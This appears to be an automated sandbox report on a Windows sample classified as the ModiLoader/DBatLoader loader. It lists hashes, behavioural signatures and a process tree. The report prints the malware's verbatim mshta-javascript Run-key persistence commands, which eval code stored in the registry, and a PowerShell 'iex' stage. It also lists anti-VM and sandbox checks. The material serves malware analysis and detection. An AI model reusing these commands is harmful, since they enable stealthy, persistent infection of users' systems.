Analysis
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max time kernel
150s -
max time network
156s -
platform
windows7_x64 -
resource
win7-20220715-en -
resource tags
arch:x64arch:x86image:win7-20220715-enlocale:en-usos:windows7-x64system -
submitted
01-08-2022 19:51
Static task
static1
Behavioral task
behavioral1
Sample
13e5decc722a39965a15f47bc3fabb44.exe
Resource
win7-20220715-en
Behavioral task
behavioral2
Sample
13e5decc722a39965a15f47bc3fabb44.exe
Resource
win10v2004-20220721-en
General
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Target
13e5decc722a39965a15f47bc3fabb44.exe
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Size
268KB
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MD5
13e5decc722a39965a15f47bc3fabb44
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SHA1
586ee85719397ae5548dbd724b92471ff62d5091
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SHA256
c8a0a8bce7a0ea50386666600c2ce4c90e23adc02b921bcd74606f921de8fdda
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SHA512
792187eddbf8527eabb19cb511cce6451cd5d19e1f09d146e9bfe10776ee934929db590d9e726f7a38861837b8e53e654926bc8aeccb837e21dd346e73b1a694
Malware Config
Signatures
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ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
mshta.exedescription pid pid_target process target process Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 1672 1320 mshta.exe -
Checks for common network interception software 1 TTPs
Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.
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Looks for VirtualBox Guest Additions in registry 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Oracle\VirtualBox Guest Additions regsvr32.exe -
Looks for VirtualBox drivers on disk 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process File opened (read-only) C:\WINDOWS\SysWOW64\drivers\VBoxMouse.sys regsvr32.exe -
ModiLoader Second Stage 13 IoCs
Processes:
resource yara_rule behavioral1/memory/2024-58-0x0000000000402E54-mapping.dmp modiloader_stage2 behavioral1/memory/2024-57-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/2024-62-0x0000000000400000-0x0000000000436000-memory.dmp modiloader_stage2 behavioral1/memory/2024-64-0x0000000000440000-0x0000000000502000-memory.dmp modiloader_stage2 behavioral1/memory/2024-68-0x0000000000440000-0x0000000000502000-memory.dmp modiloader_stage2 behavioral1/memory/1316-71-0x00000000023F0000-0x000000000303A000-memory.dmp modiloader_stage2 behavioral1/memory/1316-72-0x0000000005D60000-0x0000000005E22000-memory.dmp modiloader_stage2 behavioral1/memory/1316-76-0x0000000005D60000-0x0000000005E22000-memory.dmp modiloader_stage2 behavioral1/memory/664-78-0x0000000000210000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral1/memory/552-81-0x0000000000230000-0x00000000002F2000-memory.dmp modiloader_stage2 behavioral1/memory/2024-82-0x0000000000440000-0x0000000000502000-memory.dmp modiloader_stage2 behavioral1/memory/664-83-0x0000000000210000-0x00000000002D2000-memory.dmp modiloader_stage2 behavioral1/memory/552-84-0x0000000000230000-0x00000000002F2000-memory.dmp modiloader_stage2 -
Adds policy Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run regsvr32.exe Set value (str) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run\ = "mshta javascript:Zm8JhRZT=\"DNxVFs7N\";Ck08=new%20ActiveXObject(\"WScript.Shell\");GIiP4ggED=\"T1OwHZ3D\";K6oap=Ck08.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\611199b20b\\\\16aac0d0\");VOjMfa1=\"snLvau\";eval(K6oap);LHn7zRE=\"aitT\";" regsvr32.exe -
Looks for VMWare Tools registry key 2 TTPs 1 IoCs
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\VMware, Inc.\VMware Tools regsvr32.exe -
Checks BIOS information in registry 2 TTPs 2 IoCs
BIOS information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion regsvr32.exe Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion regsvr32.exe -
Deletes itself 1 IoCs
Processes:
regsvr32.exepid process 664 regsvr32.exe -
Adds Run key to start application 2 TTPs 2 IoCs
Processes:
regsvr32.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:MGFV6oy2=\"AI8rZhaK\";l2s=new%20ActiveXObject(\"WScript.Shell\");k6v7GmKFx=\"WORg8hm\";olQ4L=l2s.RegRead(\"HKLM\\\\software\\\\Wow6432Node\\\\611199b20b\\\\16aac0d0\");Kwub58AS=\"aAW9IxAf\";eval(olQ4L);oER6t5hoGe=\"bl\";" regsvr32.exe Set value (str) \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Windows\CurrentVersion\Run\ = "mshta javascript:L7YLwv0e=\"dM0\";ww0=new%20ActiveXObject(\"WScript.Shell\");NXq9k9LPbc=\"70OXWFSX\";vt94ml=ww0.RegRead(\"HKCU\\\\software\\\\611199b20b\\\\16aac0d0\");aILfhM72gu=\"9f\";eval(vt94ml);gx2Xhyzu=\"LiG13oH0r\";" regsvr32.exe -
Maps connected drives based on registry 3 TTPs 2 IoCs
Disk information is often read in order to detect sandboxing environments.
Processes:
regsvr32.exedescription ioc process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Disk\Enum regsvr32.exe Key value queried \REGISTRY\MACHINE\SYSTEM\ControlSet001\services\Disk\Enum\0 regsvr32.exe -
Drops file in System32 directory 1 IoCs
Processes:
powershell.exedescription ioc process File opened for modification C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk powershell.exe -
Suspicious use of SetThreadContext 2 IoCs
Processes:
13e5decc722a39965a15f47bc3fabb44.exedescription pid process target process PID 1896 set thread context of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 set thread context of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Processes:
regsvr32.exemshta.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\International regsvr32.exe Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main mshta.exe Key created \REGISTRY\USER\S-1-5-21-3440072777-2118400376-1759599358-1000\Software\Microsoft\Internet Explorer\Main\FeatureControl regsvr32.exe -
Suspicious behavior: EnumeratesProcesses 64 IoCs
Processes:
powershell.exeregsvr32.exepid process 1316 powershell.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe -
Suspicious behavior: MapViewOfSection 6 IoCs
Processes:
powershell.exeregsvr32.exepid process 1316 powershell.exe 1316 powershell.exe 1316 powershell.exe 664 regsvr32.exe 664 regsvr32.exe 664 regsvr32.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 1316 powershell.exe -
Suspicious use of SetWindowsHookEx 1 IoCs
Processes:
13e5decc722a39965a15f47bc3fabb44.exepid process 1896 13e5decc722a39965a15f47bc3fabb44.exe -
Suspicious use of WriteProcessMemory 30 IoCs
Processes:
13e5decc722a39965a15f47bc3fabb44.exemshta.exepowershell.exeregsvr32.exedescription pid process target process PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1896 wrote to memory of 2024 1896 13e5decc722a39965a15f47bc3fabb44.exe 13e5decc722a39965a15f47bc3fabb44.exe PID 1672 wrote to memory of 1316 1672 mshta.exe powershell.exe PID 1672 wrote to memory of 1316 1672 mshta.exe powershell.exe PID 1672 wrote to memory of 1316 1672 mshta.exe powershell.exe PID 1672 wrote to memory of 1316 1672 mshta.exe powershell.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 1316 wrote to memory of 664 1316 powershell.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe PID 664 wrote to memory of 552 664 regsvr32.exe regsvr32.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"1⤵
- Suspicious use of SetThreadContext
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
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C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"C:\Users\Admin\AppData\Local\Temp\13e5decc722a39965a15f47bc3fabb44.exe"2⤵
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C:\Windows\system32\mshta.exe"C:\Windows\system32\mshta.exe" javascript:ZSpTo7L="Cz";yt9=new%20ActiveXObject("WScript.Shell");mPULYF83="F9HRkmr";SQL86K=yt9.RegRead("HKLM\\software\\Wow6432Node\\7Y6w5aR\\PMjOvEqJ");rdRDHzfJ9="sxM016XMcH";eval(SQL86K);neJzqrgR2="co7Twfyv";1⤵
- Process spawned unexpected child process
- Modifies Internet Explorer settings
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:nuot2⤵
- Drops file in System32 directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exeregsvr32.exe3⤵
- Looks for VirtualBox Guest Additions in registry
- Looks for VirtualBox drivers on disk
- Adds policy Run key to start application
- Looks for VMWare Tools registry key
- Checks BIOS information in registry
- Deletes itself
- Adds Run key to start application
- Maps connected drives based on registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\regsvr32.exe"C:\Windows\SysWOW64\regsvr32.exe"4⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/552-84-0x0000000000230000-0x00000000002F2000-memory.dmpFilesize
776KB
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memory/552-81-0x0000000000230000-0x00000000002F2000-memory.dmpFilesize
776KB
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memory/552-79-0x0000000000000000-mapping.dmp
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memory/664-73-0x0000000000000000-mapping.dmp
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memory/664-83-0x0000000000210000-0x00000000002D2000-memory.dmpFilesize
776KB
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memory/664-78-0x0000000000210000-0x00000000002D2000-memory.dmpFilesize
776KB
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memory/664-77-0x0000000000F70000-0x0000000000F77000-memory.dmpFilesize
28KB
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memory/1316-76-0x0000000005D60000-0x0000000005E22000-memory.dmpFilesize
776KB
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memory/1316-75-0x0000000073270000-0x000000007381B000-memory.dmpFilesize
5.7MB
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memory/1316-69-0x0000000073270000-0x000000007381B000-memory.dmpFilesize
5.7MB
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memory/1316-70-0x0000000002AF2000-0x0000000002B02000-memory.dmpFilesize
64KB
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memory/1316-71-0x00000000023F0000-0x000000000303A000-memory.dmpFilesize
12.3MB
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memory/1316-72-0x0000000005D60000-0x0000000005E22000-memory.dmpFilesize
776KB
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memory/1316-67-0x0000000073270000-0x000000007381B000-memory.dmpFilesize
5.7MB
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memory/1316-65-0x0000000000000000-mapping.dmp
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memory/1896-56-0x0000000076081000-0x0000000076083000-memory.dmpFilesize
8KB
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memory/2024-68-0x0000000000440000-0x0000000000502000-memory.dmpFilesize
776KB
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memory/2024-64-0x0000000000440000-0x0000000000502000-memory.dmpFilesize
776KB
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memory/2024-62-0x0000000000400000-0x0000000000436000-memory.dmpFilesize
216KB
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memory/2024-60-0x0000000000406000-0x0000000000407000-memory.dmpFilesize
4KB
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memory/2024-82-0x0000000000440000-0x0000000000502000-memory.dmpFilesize
776KB
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memory/2024-57-0x0000000000400000-0x0000000000436000-memory.dmpFilesize
216KB
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memory/2024-58-0x0000000000402E54-mapping.dmp